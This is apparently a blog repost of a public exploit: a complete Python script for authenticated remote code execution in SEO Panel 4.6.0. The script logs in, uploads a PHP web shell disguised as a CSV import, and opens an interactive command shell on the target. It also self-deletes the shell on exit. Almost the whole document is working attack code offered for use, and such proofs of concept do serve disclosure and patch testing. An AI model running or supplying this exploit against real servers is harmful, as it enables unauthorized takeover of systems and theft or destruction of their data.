Tuesday, April 6, 2021

SEO Panel 4.6.0 Remote Code Execution (2)

# Exploit Title: SEO Panel 4.6.0 - Remote Code Execution (2)
# Date: 22 Jan 2021
# Exploit Author: Kr0ff
# Vendor Homepage: https://www.seopanel.org/https://www.kentico.com/
# Software Link: https://www.seopanel.org/spdownload/4.6.0
# Version: 4.6.0
# Tested on: Ubuntu 20.04

#!/usr/bin/env python3

'''
DESCRIPTION:
- SeoPanel 4.6.0 vulnerable to Remote Code Execution via authenticated file upload

FIXED:
- ver 4.7.0

AUTHOR:
- Kr0ff
'''
#https://asciiart.website/index.php?art=animals/bats

try:
import requests
import argparse
import sys
from termcolor import colored
from time import sleep
except ImportError as e:
print(colored("[ERROR]: ", "red"), f"{e}")

def arty():
artz = """
HAPPY HALLOWEEN !
....._
`. ``-. .-----.._
`, `-. .: /`
: `".. ..-`` :
/ ...--:::`n n.`::... :
`:`` .` :: / `. ``---..:.
`\ .` ._: .-: :: `. .-``
: : :_\\_/: : .:: `. /
: / \-../:/_.`-` \ :
:: _.._ q` p ` /` \|
:-` ``(_. ..-----hh``````/-._:
`: `` / `
E: /
: _/
: _..-``
l--``
----------------------------------------------------------
_
___ ___ ___ ___ __ ___ ___| |___ ___ ___
|_ -| -_| . | . ||. | | -_| | _| _| -_|
|___|___|___| _|___|_|_|___|_|_| |___|___|
|_| 4.6.0

@Kr0ff
----------------------------------------------------------
"""
print(artz)

#Initialize requests to create a session
r = requests.session()

#Create a login for the user
def login(TARGET, USER, PASS):
data = {"sec":"login", "red_referer": f"{TARGET}", "userName": f"{USER}", "password": f"{PASS}","login":""}
headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "DNT": "1", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
req = r.post(f"{TARGET}/login.php", headers=headers, data=data, verify=False)
if req.status_code == 200:
print(colored("[SUCCESS]", "green"), f"Status code for login.php -> {req.status_code}\r\n")
else:
print(colored("[FAILURE]", "red"), f"Status code for login.php -> {req.status_code}\r\n")
print("Please check if you are providing the right path to 'seopanel' or if server is live...")
get_ch = req.headers.get("Set-Cookie")
return get_ch

#Upload the webshell to target server
def exploit(TARGET, USER, PASS):
login(TARGET, USER, PASS)
headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": TARGET + "/admin-panel.php", "Content-Type": "multipart/form-data; boundary=---------------------------193626971803013289998688514", "DNT": "1", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
payload = "-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"sec\"\r\n\r\nimport\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"userid\"\r\n\r\n1\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"website_csv_file\"; filename=\"bc1ab68651691302e1434959b70cba26.php\"\r\nContent-Type: text/csv\r\n\r\n<?php system($_GET['veiocx']); ?>\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"delimiter\"\r\n\r\n,\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"enclosure\"\r\n\r\n\"\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"escape\"\r\n\r\n\\\r\n-----------------------------193626971803013289998688514--\r\n"
req0 = r.post(f"{TARGET}/websites.php", headers=headers, data=payload, verify=False)
if req0.status_code == 200:
print(colored("[SUCCESS]", "green"), f"Status code for payload upload [websites.php] -> {req0.status_code}\r\n")
else:
print(colored("[FAILURE]", "red"), f"Status code for payload upload [websites.php] -> {req0.status_code}\r\n")
print("Please check if you are providing the right path or if server is live...")

while(1):
try:
p = input("$> ")
shell_url = TARGET + f"tmp/bc1ab68651691302e1434959b70cba26.php?veiocx={p}"
control = r.get(shell_url, headers=headers, verify=False)
if control.status_code == 200:
print(colored("[SUCCESS]","green"), "Shell uploaded successfully !\r\n\r\n")
print(control.text)
else:
print(colored("[ERROR]","red"), "Shell not uploaded... :(")
print("Status code ->", colored(control.status_code, "red"))
sys.exit(0)
except KeyboardInterrupt: #Do self-cleanup on ctrl+c and wait a sec
cleanup = TARGET + f"tmp/bc1ab68651691302e1434959b70cba26.php?veiocx=rm bc1ab68651691302e1434959b70cba26.php"
requests.get(cleanup, headers=headers, verify=False)
sleep(1)
print(colored("\r\n[ERROR]", "red"), "Exitting ! Self-cleanup done !")
break

#Initilize parser for arguments
def parse_argz():
parser = argparse.ArgumentParser(description='SEO Panel 4.6.0 authenticated RCE via file upload')
parser.add_argument("-t", "--target", help="Target http/s:[IP/HOSTNAME]/seopanel/", type=str)
parser.add_argument("-u", "--user", help="Username to login as", type=str)
parser.add_argument("-p", "--passwd", help="Password to authenticate with", type=str)
#args = parser.parse_args(args=None if sys.argv[1:] else ['--help']) #Show help menu if no arguments provided
args = parser.parse_args(args=None)

if not args.target or not args.user or not args.passwd:
parser.error(colored("[WARNING]","yellow"), "Not all arguments provided")
sys.exit(1)
else:
TARGET = str(args.target)
USER = str(args.user)
PASS = str(args.passwd)
exploit(TARGET, USER, PASS)

if __name__ == "__main__":
try:
arty()
parse_argz()
except Exception as e:
print(colored("[ERROR]","red"), f"-> {e}")
sys.exit(1)
 

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Thanks for everything Templateism - You should have written the code a little more complicated